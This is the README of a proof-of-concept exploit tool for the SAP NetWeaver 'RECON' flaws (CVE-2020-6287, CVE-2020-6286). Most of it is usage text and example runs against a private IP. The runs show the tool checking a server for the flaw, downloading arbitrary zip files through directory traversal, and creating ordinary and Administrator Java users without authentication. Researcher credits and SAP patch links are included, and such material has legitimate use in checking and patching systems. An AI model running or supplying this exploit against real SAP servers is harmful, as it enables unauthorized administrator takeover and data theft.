PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)
(削除) Pffff! RECON (Remotely Exploitable Code On NetWeaver)? Guys, really? That was the best codename you came up with? :) (削除ここまで)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and as a PoC script exploits directory traversal in queryProtocol method.
Directory traversal allows to download any zip from SAP server.
This project is created only for educational purposes and cannot be used for law violation or personal gain.
The author of this project is not responsible for any possible harm caused by the materials of this project
Original finding:
CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.
Just point SAP NW AS Java hostnmae/ip.
There is additional options:
-c- check if SAP server is vulnerable to RECON-f- downloadzipfile from SAP server-u- create user SAP JAVA user withAuthenticated Userrole-a- create user SAP JAVA user withAdministratorrole
Ex.: Download zip file
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved
Ex.: Create SAP JAVA user
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created
Ex.: Create SAP JAVA Administrator user
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
[-u] [-a] [--timeout TIMEOUT] [-v]
PoC for CVE-2020-6287, (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy
Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner
Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Java NW host (default: 127.0.0.1)
-P PORT, --port PORT Java NW web port (default: tcp/50000)
-p PROXY, --proxy PROXY
Use proxy (ex: 127.0.0.1:8080)
-s, --ssl enable SSL
-c, --check just detect vulnerability
-f ZIPFILE, --zipfile ZIPFILE
ZIP file to read. CVE-2020-6286
-u, --user Create simple JAVA user. CVE-2020-6287
-a, --admin Create JAVA user with role "Administrator". CVE-2020-6287
--timeout TIMEOUT HTTP connection timeout in second (default: 10)
-v, --verbose verbose mode